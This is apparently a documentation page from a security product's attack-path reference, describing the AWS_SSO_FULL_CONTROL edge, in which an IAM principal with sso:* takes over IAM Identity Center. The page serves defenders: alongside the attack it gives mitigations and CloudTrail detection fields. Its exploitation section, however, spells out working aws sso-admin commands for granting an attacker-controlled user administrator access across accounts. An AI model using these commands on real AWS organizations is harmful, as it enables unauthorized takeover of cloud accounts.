> For the complete documentation index, see [llms.txt](https://docs.forestall.io/fsprotect/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://docs.forestall.io/fsprotect/edges/aws/aws_sso_full_control.md).

# AWS\_SSO\_FULL\_CONTROL

## Summary

|                            |                                                                             |
| -------------------------- | --------------------------------------------------------------------------- |
| **Forestall ACL Alias**    | AWS\_SSO\_FULL\_CONTROL                                                     |
| **Affected Object Types**  | `AWSIAMUser\|AWSIAMRole → AWSIdentityCenter, AWSPermissionSet, AWSSSOGroup` |
| **Exploitation Certainty** | High                                                                        |
| **AWS IAM Action**         | `sso:*` or `identitystore:*` (full `*` is covered by `AWS_FULL_CONTROL`)    |

## Description

> **Account gate:** This edge is only emitted for IAM principals that reside in the Organizations **management account** or an IAM Identity Center **delegated-administrator account** (service principal `sso.amazonaws.com`). Principals in any other member account receive `AccessDenied` from all SSO Admin APIs regardless of their IAM permissions.

An attacker whose attached policies grant `sso:*` holds full control over the IAM Identity Center instance. That single wildcard covers every SSO Admin action. The attacker can create account assignments, rewrite Permission Set policies, and add members to privileged groups. Any one of those calls grants access across the organization.

This is the SSO-plane full-control edge. It is the sibling of `AWS_FULL_CONTROL` (`*`) and `AWS_IAM_FULL_CONTROL` (`iam:*`), one tier down into the SSO service. It is an umbrella edge: holding it means the attacker controls the whole Identity Center control plane, so it fans out to every object on that plane. It targets the Identity Center instance, every Permission Set, and every SSO group. It is deliberately not drawn to individual SSO users, because an SSO user is an endpoint, not a pivot, and no further attack path leaves it.

The edge type splits by capability so the same relationship is never drawn twice. A principal with full `*` (god mode) reaches this plane through the broader `AWS_FULL_CONTROL` edge and gets no `AWS_SSO_FULL_CONTROL`. A principal with `sso:*` or `identitystore:*` but not full `*` gets `AWS_SSO_FULL_CONTROL`. A principal that holds only specific SSO actions gets the granular SSO privesc edges (account assignment, Permission Set update, group member add, policy detach and delete) instead.

Read-only actions such as `sso:DescribePermissionSet` or `sso:ListInstances` grant no control and produce nothing. There is no `sso-admin:` IAM prefix. `sso-admin` names the CLI command group and the SDK client only, and every Identity Center IAM action lives under `sso:`.

**Edge semantics:** `(Attacker:AWSIAMUser|AWSIAMRole) -[AWS_SSO_FULL_CONTROL]-> (Target:AWSIdentityCenter|AWSPermissionSet|AWSSSOGroup)`

Precondition: none beyond the account gate. This edge covers the IAM to SSO direction of cross-domain escalation. The reverse direction, an SSO session assuming its provisioned IAM role, is `AWS_SSO_ASSUME_ROLE`.

## Identification

```bash
# Confirm the principal holds sso:* over the Identity Center instance
aws iam simulate-principal-policy \
  --policy-source-arn <attacker-arn> \
  --action-names sso:CreateAccountAssignment sso:AttachManagedPolicyToPermissionSet \
  --resource-arns "*"

# List the Identity Center instance the attacker can administer
aws sso-admin list-instances

# Inspect an attached policy for a wildcard sso grant
aws iam get-policy-version \
  --policy-arn <policy-arn> --version-id <version> \
  --query "PolicyVersion.Document"
```

PowerShell (AWS Tools):

```powershell
Get-SSOAdminInstanceList
```

## Exploitation

```bash
# Step 1: Assign an AdministratorAccess Permission Set to an attacker-controlled
# SSO user on a target account
aws sso-admin create-account-assignment \
  --instance-arn <instance-arn> \
  --target-id <target-account-id> --target-type AWS_ACCOUNT \
  --permission-set-arn <admin-permission-set-arn> \
  --principal-type USER --principal-id <attacker-sso-user-id>
```

If no administrator Permission Set exists, the same `sso:*` grant lets the attacker build one first:

```bash
# Create a Permission Set, attach AdministratorAccess, then provision it
aws sso-admin create-permission-set \
  --instance-arn <instance-arn> --name attacker-admin
aws sso-admin attach-managed-policy-to-permission-set \
  --instance-arn <instance-arn> \
  --permission-set-arn <new-permission-set-arn> \
  --managed-policy-arn arn:aws:iam::aws:policy/AdministratorAccess
```

The attacker then signs in through the Identity Center portal, selects the target account, and receives administrator credentials for it.

## Mitigation

* Never grant `sso:*` to IAM users or roles. Scope policies to the specific SSO actions a principal needs.
* Use IAM permission boundaries so a principal cannot grant itself SSO control.
* Block the dangerous write actions (`sso:CreateAccountAssignment`, `sso:AttachManagedPolicyToPermissionSet`, `sso:PutInlinePolicyToPermissionSet`, `sso:CreatePermissionSet`) with SCPs except for a dedicated Identity Center administrator role.
* Keep the delegated-administrator account list short. Use the management account for break-glass access only.
* Enable Identity Center audit logging and alert on write actions called with IAM user credentials.

## Detection

CloudTrail records Identity Center write actions under the `sso.amazonaws.com` event source.

| CloudTrail Event                     | Description                                            | Key Fields                                                                                                               |
| ------------------------------------ | ------------------------------------------------------ | ------------------------------------------------------------------------------------------------------------------------ |
| `CreateAccountAssignment`            | A principal was granted a Permission Set on an account | `requestParameters.targetId`, `requestParameters.permissionSetArn`, `requestParameters.principalId`, `userIdentity.type` |
| `AttachManagedPolicyToPermissionSet` | A managed policy was attached to a Permission Set      | `requestParameters.permissionSetArn`, `requestParameters.managedPolicyArn`, `userIdentity.arn`                           |
| `CreatePermissionSet`                | A new Permission Set was created                       | `requestParameters.name`, `userIdentity.arn`                                                                             |

Alert when any of these is called and `userIdentity.type` is `IAMUser` rather than `AssumedRole` from an SSO session. That pattern is the IAM to SSO lateral movement this edge represents.

## References

* [AWS Service Authorization Reference: IAM Identity Center (prefix `sso`)](https://docs.aws.amazon.com/service-authorization/latest/reference/list_awsiamidentitycenter.html)
* [AWS IAM Identity Center: Delegated administration](https://docs.aws.amazon.com/singlesignon/latest/userguide/delegated-admin.html)
* [AWS SSO Admin API: CreateAccountAssignment](https://docs.aws.amazon.com/singlesignon/latest/APIReference/API_CreateAccountAssignment.html)
* [HackTricks: AWS IAM Identity Center Privilege Escalation](https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-iam-identity-center-privesc)
* [MITRE ATT\&CK T1098: Account Manipulation](https://attack.mitre.org/techniques/T1098/)